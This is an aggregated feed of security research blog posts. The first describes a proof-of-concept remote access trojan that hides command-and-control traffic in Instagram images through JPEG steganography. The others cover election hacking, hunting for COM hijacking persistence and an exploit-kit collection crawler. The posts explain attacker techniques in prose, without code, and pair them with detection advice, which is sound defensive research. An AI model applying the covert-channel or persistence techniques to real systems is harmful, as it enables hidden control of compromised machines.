Quantcast
Channel: Endgame's Blog
Viewing all 698 articles
Browse latest View live

Instegogram: Leveraging Instagram for C2 via Image Steganography

$
0
0

Social media sites are frequently used for stealthy malware command and control (C2). Because many hosts on most networks communicate with popular social media sites regularly, it is very easy for a C2 channel hiding in this traffic to appear normal. Further, there are often rich APIs for communicating via social media sites allowing a malware author to easily and flexibly use the services for malicious purposes. Blocking the HTTP and HTTPS connections to these sites generally is infeasible since it would likely cause a revolt amongst the workforce. Security researchers have discovered multiple malware campaigns that have used social media for C2 capabilities. For example, Twitter has been used to direct downloaders to websites for installing other malware or for controlling botnets. Further, the information posted to a social media site may be obfuscated or Base64 encoded. Even if the malicious social media content is discovered, it would require an astute defender to recognize the intent.

Separately, a few malware strains (e.g., ZeusVM banking trojan) have used image steganography to very effectively disguise information required to operate malware. The stego image represents an effective decoy, with information subtly encoded within something that is seemingly innocuous. This can make malicious intent difficult to uncover. In the case of ZeusVM, an encoded image contained a list of financial institutions that the malware was targeting. However, even a close look at the image would not reveal the presence of a payload. The image payloads were discovered only because the stego images were retrieved on a server containing other malicious files.

We combine these two methods for hiding in plain sight and demonstrate "Instegogram", wherein we hide C2 messages in digital images posted to the social media site Instagram. We presented this research earlier this month at Defcon’s Crypto Village, as part of our larger research efforts that leverage our knowledge of offensive techniques to build more robust defenses. Since our research aims to help inform and strengthen defenses, we conclude with a discussion of some simple approaches for preventing steganographic C2 channels on social media sites, such as bit jamming methods and analysis of user account behaviors.

A Brief History of Steganography

Steganography is the art of hiding information in plain sight and has been used by spies for centuries to conceal information within other text or data. Recently, digital image steganography has been used to obfuscate configuration information for malware. The following timeline contains a brief history of steganography used in actual malware case studies:

 

JPEG-Robust Image Steganography Techniques & Instagram

Digital image steganography involves altering bits within an image to conceal a message payload.  Let’s say Alice encodes a message in some of the bits of a cover image and sends the stego image (with message payload) to Bob, who decodes the message using a private key that he shares with Alice. If Eve intercepts the image in transit, she is oblivious to the fact that the stego image contains any message at all since the image appears to be totally legitimate both digitally and to the human eye.  

A simple steganography approach demonstrates how this is possible.  Alice wants to encode the bits 0100 into an image whose first 4 pixels are 0x81, 0x80, 0x7f, 0x7e.  Alice and Bob agree (private key) that the message will be encoded in row-major order in the image using the least significant bit (LSB) to determine the message bit.  Since the LSBs of the first 4 pixels are 1010, Alice must flip the LSBs of the first three pixels so that the LSBs are equal to the desired message bits.  Since modifying the LSBs of a few pixels changes the pixel intensity by 1/255, the stego image appears identical to the original cover image.

 

Additionally, since Instagram re-encodes uploaded images in JPEG/JFIF form, the steganography encoding for Instegogram must be robust against JPEG compression artifacts.

JPEG images are compressed by quantizing coefficients of a 2D block discrete cosine transform (DCT).  The DCT transformation is applied after a color transformation from RGB to YCbCr color space which consists of a luminance (Y) channel, and two chrominance channels, blue (Cb) and red (Cr).  The DCT transformation on each channel has the effect of condensing most of the image block’s information into a few upper-left (low frequency) coefficients in the DCT domain.  The lossy data compression step in JPEG comes in by applying an element-wise quantization to each coefficient in the DCT coefficient image, with the amount of quantization per coefficient determined by a quantization table specified in the JPEG file.  The resulting quantized coefficients (integers) are then compactly encoded to disk.

 

One method of encoding a message in a JPEG image is to encode the message bits in the quantized DCT coefficients rather than the raw image pixels, since there are no subsequent lossy steps.  But for use with Instagram, an additional step is required. Upon upload, Instagram standardizes images by resizing and re-encoding them using the JPEG file format.  This presents two pitfalls in which the message can be clobbered in the quantized DCT coefficients: (1) if Alice's stego image is resized, the raw DCT coefficients can change, since the 8x8 block in the original image may map to a different rectangle in the resized image; (2) if Alice's stego image is recompressed using a different quantization table, this so-called double-compression can change the LSBs that may contain the secret message.

To prevent the effects of resizing, all cover images can be resized to a size and aspect ratio that Instagram will accept without resizing.  To prevent the double-compression problem, the quantization table can be extracted from an existing Instagram image. During the course of this research and monitoring the tables, it appears that this quantization table is used across all Instagram images.  Messages are then encoded in images that use those same quantization tables.

A number of other standard practices can be used to provide additional robustness against image manipulations that might occur upon upload to Instagram.  First, pre-encoding the message payload using error correcting coding allows one to retrieve the message even when some bits become corrupted.  For small messages, the encoded message can be repeated in the image bits until all image bits have been used.  A message storing format that includes a header to specify the message length allows the receiver to determine when the message ends and a duplicate copy begins.  Finally, for a measure of secrecy, simple methods for generating a permutation of pixel locations (for example, a simple linear congruential generator with shared seeds between Alice and Bob) can communicate to Bob the order in which the message bits are arranged in the image.

Instegogram Overview

Digital image steganography can conceal any message.  Stego is appealing and compelling to malware authors for malware C2 because of its inherent stealthiness.  Hosting C2 on social media sites is also appealing for the same reason - it is stealthy because it is hard to filter out or identify maliciousness.  Instegogram combines these two capabilities - digital image steganography and the use of social media for C2 - to mirror the utilization of social networks for C2 that has increased for years, while exploring the feasibility of using stego on a particular site - Instagram.

The delivery mechanism for our proof of concept (POC) malware was chosen based on today’s most commonly used infiltration methods -  a successful spearphish that causes the user to open a document and run a malicious macro. The remote access trojan (RAT) is configured to communicate with specific Instagram accounts that we control, and on which we’ll POST request images containing messages encoded with our steganographic scheme. The malware includes a steganographic decoder that extracts a payload from each downloaded image, allowing arbitrary command execution on the remote system.

The malicious app continuously checks the Instagram account feed for the next command image, decodes the shell command, and executes it to trigger whatever nefarious behavior is requested in the command.  Results are embedded steganographically in another image which is posted to the same account.  

As with any steganographic scheme, there is a limited number of characters which can be sent through the channel. In this simple POC, 40 characters could be reliably transmitted in the JPEG stego images.  The capacity can be increased using more robust coding techniques as discussed previously.

In short, once the remote system is compromised, encoded images can be posted from the command machine using Instagram’s API. The remote system will download the image, decode it, execute the encoded commands, encode the results in another image, and post back to Instagram. This process can be repeated at will.  This attack flow is depicted in the graphic below.

 

Our Instegogram POC was built on Mac OSX, specifically as an uncertified MacOs app developed in obj-c.  To execute our POC, we needed to bypass Apple’s built in Gatekeeper protection, which enforces code signing requirements on downloaded applications and thereby makes it more difficult for adversaries to launch a malicious application on an endpoint. We discovered a Gatekeeper bypass, disclosed it to Apple, and are currently working with Apple on a fix.  

Instagram API and Challenges

Instagram's API is only partially public. They encourage third-party apps to use likes, subscriptions, requests for images, and similar actions. But, the specifics of calls for uploads are only provided via iPhone hooks and Android Intents. The webapp is a pared down version of the mobile app and doesn't allow uploads. This is likely to deter spam, bots, and maybe malware C2 architectures.

To work as an effective C2 system, we need to be able to integrate our system with Instagram's to automate uploads, downloads, and comments. Creating an image with an embedded message, transferring it to a cell phone, and then uploading it via the official Instagram app is too cumbersome to be useful. We needed to reverse the upload API.

With the help of some open source efforts and a little web-proxy work, we identified the required fields and formats for all the necessary API calls. Charles Proxy was used to sniff out the payloads of API requests coming from the phone app itself. After the general structure was determined, we used a fake Android user-agent, crafted the body of the request, and were in business. The code demonstrating this is in the "api_access" section of Endgame’s github repo.

It is worth noting that the steganographic encode/decode capabilities and capability to programmatically interact with the Instagram API are not specific to a malware use case.  They are tools that can be used for other purposes such as secure hidden messaging.  

Detecting & Preventing Instegogram

As previously mentioned, this research is motivated by the requirement to strengthen defenses. Therefore, after successfully implementing the malware, we identified the most robust means to detect and prevent Instegogram.  There is a range of measures for detecting and preventing C2 via image steganography as well as additional non-steganography measures that can be implemented.

First, a complementary field of research to steganography is steganalysis, in which a defender aims to:  (a) predict whether an image may contain a steganographic payload, and if detected, (b) attempt to recover the message from the stego image.  However, using statistical techniques to detect whether an image is corrupted may be infeasible for very small message payloads relative to the image size.  Payload recovery is a difficult cryptanalysis problem in its own right, but is of interest only for forensic analysis of a detected C2 channel.  Given the challenges in successfully implementing these steganalysis techniques through per-image or per-user defensive strategies, we don’t recommend a steganalysis approach.

In contrast, a much simpler set of measures can be implemented by the social media site owner via site-wide policies that effectively jam potential stego traffic.  For example, one can create an effectively noisy stego channel for steganographic C2 with minimal visual distortion through one or more of the following methods:

(1) Regularly and pseudorandomly change the site-wide JPEG quantization table used for re-encoding images.  This can induce double-compression problems for simple stego routines like our POC that rely on a specific quantization table.  Introducing a quantization table mismatch can reduce the channel capacity for communication, and force sophisticated attackers to resort to more robust and advanced information hiding methods.

(2) Implement other minor and visually idempotent but digitally altering transformations on the image, such as cropping the image by a few boundary pixels, randomly shifting the image by a few pixels, and/or randomly flipping the LSBs of quantized bits.  While this does not qualitatively alter the image, it creates a challenging environment to transmit information via stego C2.

(3) Institute a policy that requires mandatory application of an Instagram filter, which represents a nonlinear transformation in the image domain.  While this qualitatively changes the image, it represents a “visually appealing” change, whilst also providing an effective attack on possible stego C2.

In addition to the stego-focused mitigations, the social media provider can attempt to detect accounts which may be hosting C2.  For example, the provider could look for account access anomalies such as a single account being used in rapid succession from geographically distant locations.  Anomalies may also be visible in account creation or other factors.

Non-steganography based security policies can also be implemented by a local admin in an attempt to defend against this attack:

(1) Limit access to third-party websites: Like any other remote access trojan or backdoor, you want a policy that limits connections to the command and control server. The simplest technical solution would to limit third-party websites entirely if it's not related to the mission. As mentioned earlier, although it is a simple solution, it may be infeasible due to workforce demands.

(2) Outliers in network behavior: Network monitoring can be configured to detect anomalous network behavior, such as responses from multiple infected machines that utilize a single Instagram account for C2.

(3) Android string detection: The instagram API we provided utilizes an Android network configuration. If your network is primarily Windows endpoints, the user agent string containing Android strings would be an obvious anomaly.

(4) Disable VBA Macros: If not needed, Microsoft Windows Office VBA Macros should be disabled to avoid spearphishing campaigns utilizing the infiltration technique adopted by the POC.

 

Conclusion

We accomplished our goal of creating a proof of concept malware that utilizes a C2 architecture for nearly untraceable communications via social media and encoded images. We demonstrated a small message channel with the simplest of steganography algorithms.  By combining digital image steganography with a prominent trend in malware research - social media for C2 - our research reflects the ongoing vulnerabilities of social media, as well as the novel and creative means of exploiting these vulnerabilities against which modern defenses must be hardened.

There are numerous defensive measures that can be taken to detect and prevent malware similar to Instegogram. As noted, applying Instagram filters or identifying preprocessed images based on quantization tables could be a powerful prevention strategy.  Account anomalies can also point at potential issues.  However, this is really only possible on the provider side, not the local defender side.  

This type of attack is difficult to defend against within a given enterprise.  Blocking social media services will be infeasible in many organizations.  Local defenders can look at policy-based hardening and more general anomaly detection to defend against attacks like our proof of concept.  These steps will help defend against an even broader set of malware.  

 

 

Malware Timeline Sources

 

 

 

 

 

Instegogram: Leveraging Instagram for C2 via Image Steganography

Amanda Rousseau Hyrum Anderson and Daniel Grant

Influencing Elections in the Digital Age

$
0
0

Throughout history, foreign entities have meddled in the internal affairs of other countries, including leadership duration, reputation, and elections of other countries. Whether it’s a coup receiving external support, such as last year’s attempted coup in Burundi, or major power politics battling it out, such as between the East and West during the Cold War, external actors often attempt to influence domestic elections to achieve a variety of objectives. Yesterday, The Washington Post reported that the US is investigating the possibility of covert Russian operations to influence this fall’s presidential elections. Following the DNC hack, the DCCC hack, and last week’s news about breaches of Illinois and Arizona’s databases, this is just the latest, potential indication of Russian tactics aimed at undermining the US elections and democracy.

For years, Russian President Vladimir Putin has exerted domestic control of the Internet, employing his team of Internet trolls to control the domestic narrative. Building upon the domestic success of this tactic, he has also employed it in Ukraine, and other former Eastern bloc countries. As targeted sanctions continue to strangle the Russian economy, coupled with low oil prices, Putin’s international behavior predictably reflects a rational-actor response to his domestic situation. He is going on the offensive, while attempting to undermine the very foundation of US democracy.  The potential for Russian covert operations reinforces the point that offensive cyber activity does not occur in a stovepipe from other cross-domain geo-political strategies. Instead, it is one part of a concerted, multi-pronged effort to achieve strategic objectives, which may include undermining the foundation of US democracy domestically and internationally.

US Election Digital Hacking: A brief history

At least as far back as 2004, security professionals have warned that elections can be digitally hacked. By some accounts, the US experienced the first election hack in 2012 when Miami-Dade County received several thousand fraudulent phantom absentee voter ballot requests. They weren’t the only political entities subject to hacking attempts. Both the Romney and Obama campaigns also experienced attempted breaches by foreign entities seeking to access databases and social media sites. Even earlier, in 2008, the Obama and McCain campaigns also suffered the loss of “a serious amount of files” from cyber attacks. China or Russia were the key suspects based on the sophistication of the attacks. Clearly, this has been an ongoing problem, with little fix in sight. Many states continue to push forth with electronic voting systems vulnerable to common yet entirely preventable attacks, and many states have yet to also implement a paper trail.

Hacking an Election around the World

The US is not the only country that has or continues to experience election hacking. External actors can pursue multiple strategies to influence an election. In the digital domain, these can roughly be bucketed into the following:

  • Data theft: This is not merely a concern in the United States, but is a global phenomenon and is likely going to grow as elections increasingly become digitized. The hack on the Philippines Commission on Elections exposed the personally identifiable information of 55 million citizens. The Ukraine election system was attacked prior to the 2014 election with a virus intended to delete the election results. More recently, Taiwan is experiencing digital attacks (likely from China), aimed at gaining opposition information. Hong Kong is in a similar situation, with digital attacks targeting government agencies leading up to legislative elections. The data theft often occurs for espionage purposes, either to conceal for information gain, or to disclose as a large data dump, such as the DNC data leak.
  • Censorship: Government entities – largely in authoritarian countries – attempt to control social media prior to elections. As a recent article noted, “Election time in Iran means increased censorship.” This is not just true of Iran, but of many countries across the globe. In Africa, countries as diverse as Ghana, Ethiopia, and Republic of Congo have censored social media during the election season. Ugandan president Yoweri Museveni, who has ruled for 30 years, has deployed Internet censorship, targeting specific social media sites, as a means to influence elections.  Last year, Turkey similarly cracked down on social media sites prior to the June elections, similar to Erdogan’s tactics in 2014 during presidential elections. Of course, a government’s censorship often coincides with the electorate’s circumvention of the censorship, which can be analyzed through the use of anti-censorship tools like Tor or Psiphon.
  • Disinformation: In one of the most intriguing alleged ‘election hacks’ to date, earlier this year Bloomberg reported the case of a man who may have literally rigged elections in nine Latin American countries. He did not do this solely via data theft, but rather through disinformation. Andrés Sepúlveda would conduct digital espionage to gather information on the opposition, while also running smear campaigns and influencing social media.  This is similar to Putin’s tactics via the Trolls, as he created fake YouTube videos, Wikipedia entries, and countless fake social media accounts. While the Russian trolls have largely focused domestically or in Eastern Europe, there is indication that they are increasingly posing as supporters within the US election.

Adjusting the Risk Calculus

Elections are just one of the many socio-political events that experience heightened malicious activity. However, within democracies, elections are the bedrock of the democratic process, and manipulation of them can undermine both domestic and international legitimacy.  At this weekend’s G-20 summit, President Obama and Putin met to discuss, among other things, acceptable digital behavior. President Obama noted the need to avoid the escalation of an arms race as has occurred in the past, stressing the need to institutionalize global norms.

This is an important point, as digital espionage and propaganda – especially when aimed against a core foundation of democracy – do not necessitate digital responses. In yesterday’s The Washington Post article, Senator Ben Sasse urged Obama to publicly name Russia as the source behind the latest string of attacks on the US presidential elections. He noted, “Free and legitimate elections are non-negotiable. It’s clear that Russia thinks the reward outweighs any consequences….That calculation must be changed. . . . This is going to take a cross-domain response — diplomatic, political and economic — that turns the screws on Putin and his cronies.”

A key feature of any deterrence strategy is to adjust the risk calculus. Russia’s risk calculus remains steadfast, with the benefits of disinformation and data theft clearly outweighing the costs. The latest investigation of Russian covert operations further elucidates that the cyber domain must not be viewed solely through a cyber lens, as is too often the case. Instead, nefarious digital activity is part of the broader strategic context, requiring creative, cross-domain solutions that impact an adversary’s risk calculus, while minimizing escalation.

Influencing Elections in the Digital Age

Andrea Little Limbago

How to Hunt: Detecting Persistence & Evasion with the COM

$
0
0

After adversaries breach a system, they usually consider how they will maintain uninterrupted access through events such as system restarts. This uninterrupted access can be achieved through persistence methods. Adversaries are constantly rotating and innovating persistence techniques, enabling them to evade detection and maintain access for extended periods of time. A prime example is the recent DNC hack, where it was reported that the attackers leveraged very obscure persistence techniques for some time while they evaded detection and exfiltrated sensitive data.

The number of ways to persist code on a Windows system can be counted in the hundreds and the list is growing.  The discovery of novel approaches to persist is not uncommon. Further, the mere presence of code in a persistence location is by no means an indicator of malicious behavior as there are an abundance of items, usually over a thousand, set to autostart under various conditions on a standard Windows system. This can make it particularly challenging for defenders to distinguish between legitimate and malicious activity.

With so many opportunities for adversaries to blend in, how should organizations approach detection of adversary persistence techniques? To address this question, Endgame is working with The MITRE Corporation, a not-for-profit R&D organization, to demonstrate how the hunting paradigm fits within the MITRE ATT&CK™ framework. The ATT&CK™ framework—which stands for Adversarial Tactics, Techniques & Common Knowledge—is a model for describing the actions an adversary can take while operating within an enterprise network, categorizing actions into tactics, such as persistence, and techniques to achieve those tactics. Endgame has collaborated with MITRE to help extend the ATT&CK™ framework by adding a new technique – COM Object Hijacking– to the persistence tactic, sparking some great conversations and insights that we’ve pulled together into this post. Thanks to MITRE for working with Endgame and others in the community to help update the model, and a special thanks to Blake Strom for co-authoring this piece. Now let the hunt for persistence begin!

Hunting for Attacker Techniques

Hunting is not just the latest buzzword in security. It is a very effective process for detection as well as a state of mind. Defenders must assume breach and hunt within the environment continually as though an active intrusion is underway. Indicators of compromise (IOC) are not enough when adversaries can change tool indicators often. Defenders must hunt for never-before-seen artifacts by looking for commonly used adversary techniques and patterns. Given constantly changing infrastructure and the increasingly customized nature of attacks, hunting for attacker techniques greatly increases the likelihood of catching today’s sophisticated adversaries.

Persistence is one such tactic for which we can effectively hunt. Defenders understand that adversaries will try to persist and generally know the most common ways this can be done. Hunting in persistence locations for anomalies and outliers is a great way to find the adversary, but it isn’t always easy. Many techniques adversaries use resemble ways software legitimately behaves on a system. Adversary persistence behavior in a Windows environment could show up as installing seemingly benign software to run upon system boot, when a user logs into a system, or even more clever techniques such as utilizing Windows Management Instrumentation (WMI). Smart adversaries know what is most common and will try to find poorly understood and obscure ways to persist during an intrusion in order to evade detection.

MITRE has provided the community with a cheat sheet of persistence mechanisms through ATT&CK™, which describes the universe of adversary techniques to help inform comprehensive coverage during hunt operations. It includes a wide variety of techniques ranging from simply using legitimate credentials to more advanced techniques like component firmware modification approaches. The goal of an advanced adversary is not just to persist - it is to persist without detection by evading common defensive mechanisms as well. These common evasion techniques are also covered by ATT&CK™. MITRE documented these techniques using in-depth knowledge about how adversaries can and do operate, like with COM hijacking for persistence.

To demonstrate the value of hunting for specific techniques, we focus on Component Object Model (COM) Hijacking, which can be used for persistence as well as defense evasion.

So what’s up with the COM?

Microsoft’s Component Object Model (COM) has been around forever – well not exactly – but at least since 1993 with MS Windows 3.1. COM basically allows for the linking of software components. This is a great way for engineers to make components of their software accessible to other applications. The classic use case for COM is how Microsoft Office products link together. To learn more, Microsoft’s official documentation provides a great, comprehensive overview of COM.

Like many other capabilities attackers use, COM is not inherently malicious. However, there are ways it can be used by the adversary which are malicious. As we discussed earlier, most adversaries want to persist. Therefore, hunters should regularly look for signs of persistence, such as anomalous files which are set to execute automatically. Adversaries can cleverly manipulate the COM to execute their code, specifically by manipulating software classes in the current user registry hive, and enabling persistence.

But before we dive into the registry, let’s have a quick history lesson. Messing with the COM is not an unknown technique by any means. Even as early as 2005, adversaries were utilizing Internet Explorer to access the machine’s COM to cause crashes and other issues. Check out CVE-2005-1990 or some of CERT’s vulnerability notes discussing exactly this problem.

COM object hijacking first became mainstream in 2011 at the Virus Bulletin conference, when Jon Larimer presented “The Dangers of Per-User COM Objects.” Hijacking is a fairly common term in the infosec community, and describes the action of maliciously taking over an otherwise legitimate function at the target host: session hijacking, browser hijacking, and search-order hijacking to name a few. It didn’t take long for adversaries to start leveraging the research presented at Virus Bulletin 2011. For example, in 2012, the ZeroAcess rootkit started hijacking the COM, while in 2014 GDATA reported a new Remote Administration Tool (RAT) dubbed COMpfun which persists via a COM hijack. The following year, GDATA again presented the use of COM hijacking, with COMRAT seen persisting via a COM hijack. The Roaming Tiger Advanced Persistent Threat (APT) group reportedly also used COM hijacking with the BBSRAT malware. These are just a few examples to demonstrate that COM hijacking is a real concern which hunters need to consider and handle while looking for active intrusions in the network.

The Challenges and Opportunities to Detect COM Hijacking

Today, COM hijacking remains relevant, but is often forgotten. We see it employed by persistent threats as well as included in crimeware. Fortunately, we have one advantage - the hijack is fairly straightforward to detect. To perform the hijack, the adversary relies on the operating system to load current user objects prior to the local machine objects in the COM. This is the fundamental principle to the hijack and also the method to detect.

Easy, right? Well, there are some gotchas to watch out for.  Most existing tools detect COM hijacking through signatures. A COM object is identified in the system by a globally unique identifier called a CLSID.  A signature-based approach will only look at and alert on specific CLSIDs which reference an object that has been previously reported as hijacked. This is nowhere near enough because, in theory, any COM object and any CLSID could be hijacked.

Second, for us hunters, the presence of a user COM object in general can be considered anomalous, but some third-party applications will generate such objects causing false positives in your hunt. To accurately find COM hijacks, a more in-depth inspection within the entire current user and local machine registry hive is necessary. In our single default Windows 7 VM, we had 4697 CLSIDs within the local machine hive. To perform the inspection, you will need to dust off your scripting skills and perform a comparative analysis within the registry. This could become difficult and may not scale if you are querying thousands of enterprise systems, which is why we baked this inspection into the Endgame platform.

So many objects to hijack...

 

At Endgame, we inspect the registry to hunt exactly for these artifacts across all objects within the registry and this investigation scales across an entire environment. This is critical because hunters need to perform their operations in a timely and efficient manner. Please reference the following video to see a simple COM hijack and automatic detection with the Endgame platform.  Endgame enumerates all known persistence locations across a network, enriches the data, and performs a variety of analytics to highlight potentially malicious artifacts in seconds.  COM hijacking detection is one capability of many in the Endgame platform.

Hunting for COM Hijacking using Endgame

Conclusion

Persistence is a tactic used by a wide range of adversaries.  It is part of almost every compromise. The choice of persistence technique used by an adversary can be the most interesting and sophisticated aspect of an attack. This makes persistence, coupled with the usual defense evasion techniques, prime focus areas for hunting and subsequent discovery and remediation. Furthermore, we can’t always rely on indicators of compromise alone. Instead, defenders must seek out anomalies within the environment, either at the host or in the network, which can reveal the breadcrumbs to follow and find the breach.

Without a framework and intelligent automation, the hunt can be time-consuming, resource-intensive, and unfocused. MITRE’s ATT&CK™ framework provides an abundance of techniques that can guide the hunt in a structured way. With this as a starting point, we have explored one persistence technique in depth: COM hijacking. COM hijacks can be detected without signatures through intelligent automation and false positive mitigation, getting beyond many challenges present if an analyst would need to find COM hijacks manually. This is just one way in which a technique-focused hunt mindset can allow defenders to detect, prevent, and remediate those adversaries that continue to evade even the most advanced defenses.

How to Hunt: Detecting Persistence & Evasion with the COM

Blake Strom (MITRE) and Paul Ewing (Endgame)

Hunting for Exploit Kits

$
0
0

E-mail spam and browser exploitation are two very popular avenues used by criminals to compromise computers.  Most compromises result from human error, such as clicking a malicious link or downloading and opening an attachment within an email and enabling macros.  Email filtering can offer effective protections against the delivery of widespread malicious spam, and user training can be reasonably effective in reducing the number of employees willing to open an unknown document, enable macros, and self-infect.  

Protection against browser exploitation is more difficult, which occurs simply by visiting a website.  Users are prone to clicking links to malicious sites, and much worse, criminals actively exploit well trafficked sites (directly through web server exploitation or indirectly via domain squatting, ad injections, or other techniques) and cause the user’s browser to covertly visit an exploit server. The user’s browser gets hit, a malicious payload such as ransomware is installed, and the user has a bad day.

The hardest part of this for attackers is the exploitation code itself.  Fortunately for criminals, a thriving underground market for exploit kits is available.  These occasionally contain zero days, but more often, exploit kit authors rapidly weaponize new vulnerabilities which will allow for exploitation of users who fail to rapidly patch their systems.  

Exploit kits are often key components of crimeware campaigns, which is estimated to be a $400 billion global market. Capturing these often evasive exploit kits is essential to advance research into protecting against them, but samples are hard to obtain for researchers. To solve this problem, we created Maxwell, an automated exploit kit collection and detection tool that crawls the web hunting for exploits. For researchers, Maxwell significantly decreases the time it takes to find exploit kits samples, and instead enables us to focus on the detection and prevention capabilities necessary to counter the growing criminal threat of exploit kits.

Exploit Kits in the Wild

The Angler exploit kit - responsible for a variety of malvertising and ransomware compromises - is indicative of just how lucrative these exploit kits can be. By some estimates, Angler was the most lucrative compromise platform for crimeware, reeling in $60 million annually in ransomware alone. Earlier this year, a Russian criminal group was arrested in connection with the Lurk Trojan. This coincided with an end of Angler exploit kit activity. A battle for market share has ensued since, with RIG and Neutrino EK jockeying for the market leading position.

A typical business model for exploit kit authors is malware as a service. The authors rent access to their exploit kits to other criminals for several thousand dollars a month, on average.

Other criminal groups instead opt to focus more on traffic distribution services or gates, and set out to compromise as many web servers as possible. Once compromised, they can insert iframe re-directions to websites of their choosing. The users of exploit kits can pay for this as a service to increase the amount of traffic their exploit kits receive and drive up infections.

The Exploitation Process

The graphic below depicts a high-level overview of the six core steps of the exploitation process. There are numerous existing case studies on exploit kits, such as one on Nuclear, that provide additional, very low level details on this process.

 

  1. A user visits a legitimate web page.
  2. Their browser is silently redirected to an exploit kit landing page. This stage varies, but focuses on traffic redirection. Either the attacker compromises the website and redirects the user by adding JavaScript or an iframe, or the attacker pays for an advertisement to perform the redirection.
  3. The exploit kit sends a landing page which contains JavaScript to determine which browser, plugins and versions the user is running. Neutrino EK is a little different in that this logic is embedded in a Flash file that is initially sent.
  4. If the user’s configuration matches a vulnerability to a particular exploit (e.g., an outdated Flash version), the user’s browser will be directed to load the exploit.
  5. The exploit’s routines run, and gain code execution on the user’s machine.
  6. The exploit downloads and executes the chosen malware payload. Today, this is usually ransomware, but it can also be banking trojans, click fraud, or other malware.

How to Catch an Exploit Kit: Introducing Maxwell

There are numerous motivations for collecting and analyzing exploit kits. As a blue teamer, you may want to test your defenses against the latest and greatest threat in the wild. As a red teamer, you may want to do adversary emulation with one of the big named exploit kits (e.g., Neutrino, RIG, Magnitude). Or maybe you have some other cool research initiative. How would you go about collecting new samples and tracking activity? If you work for a large enterprise or AV company,  it is relatively easy as your fellow employees or customers will provide all the samples you need.  You can simply set up packet collection and some exploit kit detections at your boundary and sit back and watch.  But what if you are a researcher, without access to that treasure trove of data? That’s where Maxwell comes in. Maxwell is an automated system for finding exploit kit activity on the internet. It crawls websites with an army of virtual machines to identify essential information, such as the responsible exploit kit, as well as related IPs and domains.

The Maxwell Architecture

Maxwell consists of a central server, which is basically the conductor or brains of the operation, connecting to a vSphere or other cloud architecture to spin up and down virtual machines. RabbitMQ and ElasticSearch provide the means for message queuing and indexing the malicious artifacts. The virtual machine consists of a variety of Python agent scripts to enable iterative development, as well as a pipe server that receives messages from the instrumentation library, filters those that match a whitelist, and forwards the remaining messages to a RabbitMQ server.

Flux is our instrumentation library, which is a DLL loaded to new processes with a simple AppInit DLL key. Flux hooks the usual functions for dropping files, creating registry keys, process creation, etc. The hooking is done only in user-mode at the Nt function level. The hooks must be at the lowest possible level in order to capture the most data. Flux also has some exploit detection capabilities built in, and shellcode capturing, which will be discussed shortly.

Moving to outside the virtual machine, the controller is a Python script that listens on a RabbitMQ channel for new jobs, including basic information like the website to visit, a uuid, and basic config information. Once a new job is received, the controller is responsible for spinning up a virtual machine and sending the job information and the plugin to execute (which is currently only Flux). The controller uses ssh to copy files into the virtual machine. The results server is also a Python script that listens on a different RMQ channel. This script receives data from the virtual machines during execution. The data is forwarded to an Elasticsearch index for permanent storage and querying. Once a job has completed, the results server determines if any malicious activity has occurred. If so, it executes post processing routines. Finally, all extracted data and signature information is sent in a notification to the researcher. An important design decision worth noting, is to stream events out of the virtual machine during execution, as opposed to all at once after a timeout. The latter is susceptible to losing information after ransomware wreaks havoc in the virtual machine.

When configuring your virtual machine, it’s important to make it an attractive target for attackers, who work by market share and target the most popular software, such as Windows 7, Internet Explorer, and Flash. Be sure to also remove vmtools and any drivers that get dropped by VMware. You can browse to the drivers folder and sort by publisher to find VMware drivers. Finally, you should consider patch levels, and pick plugin versions that are exploitable by all major exploit kits, while also disabling any additional protections, such as IE protected mode.

Exploit Detection in Maxwell

As mentioned earlier, Maxwell automates exploit detection. While previously ROP detection was reliable enough, it is no longer effective at detecting modern exploit kits. The same is true for stack pivot, which basically checks ESP to see if it points to the heap instead of the stack, and is easily evaded by Angler and other exploit kits.

In Flux, we throw guard pages not only on the export address table, but also the IAT and MZ header of critical modules. We also use a small whitelist instead of a blacklisting technique, enabling us to catch shellcode that is designed to evade EMET. Even better, we can detect memory disclosure routines that execute before the shellcode. When a guard page violation is hit, we also save the shellcode associated with it for later inspection.

Similar to all sandboxes, Flux can log when files are dropped, new processes are created, registry keys are written to, or even when certain files are accessed. File access can be used to detect JavaScript vm-detection routines before an exploit is even triggered. However, these are all too noisy on their own so we must rely heavily on the whitelist capability. Essentially, every typical file/registry/process action that is observed from browsing benign pages is filtered, leaving only malicious activity caused by the exploit kit. Even if they evade our exploit detection techniques, we will still detect malicious activity of the payload as it is dropped and executed.

If malicious activity is detected, the post-processing step is activated by executing tcpflow on the PCAP to extract all sessions and files. Next, regular expressions are searched across the GET/POST requests to identify traffic redirectors (such as EITEST), EK landing pages, and payload beacons. Finally, any dropped files, shellcode, and files extracted from the PCAP are scanned with Yara. The shellcode scanning allows for exploit kit tagging based on the specific shellcode routines used in each kit, which are very long lasting signatures.

If you are protecting a network with snort rules for a component of the EK process, you need to know when Maxwell stops flagging a signature. Building robust signatures limits the necessity to frequently update them. There are a few tricks for writing robust signatures, such as comparing samples over time to extract commonalities or creating signatures from Flash exploits themselves. Both of these may result in longer lasting signatures. You can also take advantage of social media, and compare samples in Maxwell against those posted on Twitter by researchers, such as @kafeine, @malware_traffic and @BroadAnalysis.

Hunting for Exploit Kits

With the architecture and detection capabilities in place, it’s time to start hunting. But which websites should be explored to find evil stuff? A surprisingly effective technique is to continually cycle through the Alexa top 25,000 or top 100,000 websites, which can be streamlined by browsing five websites at a time instead of one, and get a 5x boost on your processing capability. In less than 24 hours, you can crawl through 25,000 websites with just a handful of virtual machines. The only down side is losing the ability to know exactly which of the five websites was compromised without manually looking through the PCAP. If you have a good traffic anonymizing service, you can just reprocess each of the five websites.

At DerbyCon 6.0 Recharge, the Maxwell research was presented for the first time and we released the code under an MIT license. You can find it on GitHub. We look forward to to comments, contributions, and suggestions for advancements. Maxwell has proven extremely useful in fully automating the detection and analysis of exploit kits and watering holes. Ideally, Maxwell can help both red and blue teamers test an organization’s defenses without requiring extensive resources or significant time. It also greatly simplifies a key pain point for researchers - actually collecting the samples. By hunting for exploit kits with Maxwell, researchers can spend more time analyzing and building defenses against exploit kits, instead of searching for them.

 

Hunting for Exploit Kits

Joe Desimone

Is Hadoop Ready for Security?

$
0
0

Picture Source: artistsinspireartists

In 2008, the number of internet-connected devices surpassed the number of people on the planet and Facebook overtook MySpace as the most popular social network. At the time, few people grasped the impact that these rapidly expanding digital networks would have on both national and cyber security. This was also the year I first used Hadoop, a distributed storage and processing framework.

